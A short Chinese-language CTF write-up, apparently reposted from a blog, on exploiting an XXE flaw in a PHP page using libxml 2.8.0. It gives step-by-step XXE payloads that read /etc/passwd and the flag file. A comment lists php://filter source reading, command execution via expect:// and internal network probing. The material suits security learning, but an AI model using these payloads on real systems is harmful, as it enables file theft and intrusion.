4、PHP的xml注入漏洞(xxe)
青少年ctf:PHP的XXE
1、打开网页是一个PHP版本页面
2、CTRL+f搜索xml,发现2.8.0版本,含有xml漏洞
3、bp抓包
4、使用代码出发bug
GET /simplexml_load_string.php HTTP/1.1
补充:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <name>&xxe;</name> </root> /* 1.读取任意文件 file 协议,file:///etc//passwd php 协议,php://filter/read=convert.base64-encode/resource=index.php 2.执行系统命令 PHP环境中PHP的expect模块被加载 expect://ipconfig 3.内网探测 http://192.168.0.128:80 参见:https://xz.aliyun.com/t/3357#toc-11 */
5、在触发bug的包下面加上,获取flag
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<root>
<name>&xxe;</name>
</root>
6、查看其他文件etc/passwd
拓展内容:一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区
原文地址:https://blog.csdn.net/weixin_51520483/article/details/139095473
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!